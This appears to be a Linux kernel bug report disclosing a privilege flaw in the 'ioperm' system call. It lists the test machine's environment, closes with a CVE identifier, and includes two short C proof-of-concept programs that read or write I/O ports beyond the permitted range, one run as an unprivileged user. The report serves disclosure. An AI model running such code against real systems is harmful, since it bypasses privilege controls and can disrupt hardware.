Distribution: Debian 3.0 Hardware Environment: processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 7 model name : Pentium III (Katmai) stepping : 2 cpu MHz : 498.866 cache size : 512 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat pse36 mmx fxsr sse bogomips : 992.87 Software Environment: Gnu C 2.95.4 Gnu make 3.79.1 util-linux 2.11n mount 2.11n modutils 2.4.15 e2fsprogs 1.27 Linux C Library 2.2.5 Dynamic linker (ldd) 2.2.5 Procps 2.0.7 Net-tools 1.60 Console-tools 0.2.3 Sh-utils 2.0.11 Problem Description: The "ioperm" system call allows an unprivileged user to gain read and write access to I/O ports on the system. When used by a privileged process, the "ioperm" system call also fails to properly restrict privileges. Steps to reproduce: Example One -- The following program when run as an unprivileged user will allow him or her to read from or write to I/O ports with addresses which are below 0x3ff (1023). #include <stdio.h> #include <sys/io.h> #include <stdlib.h> int main(int argc, char **argv) { if (argc < 2) { (void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]); return (2); } if (ioperm(1023, 1, 0) == -1) { perror("ioperm"); return (1); } if (argc < 3) { (void) printf("0x%02x\n", inb(atoi(argv[1]))); } else { outb(atoi(argv[2]), atoi(argv[1])); } return (0); } Example Two -- This next program when run as a privileged user demonstrates how "ioperm" fails to properly restrict privileges. #include <sys/io.h> #include <stdio.h> int main(void) { if (ioperm(888, 1, 1) == -1) { perror("ioperm"); return (1); } (void) printf("0x%02x\n", inb(889)); return (0); }
I've allocated CVE name "CAN-2003-0246" for this issue (cve.mitre.org)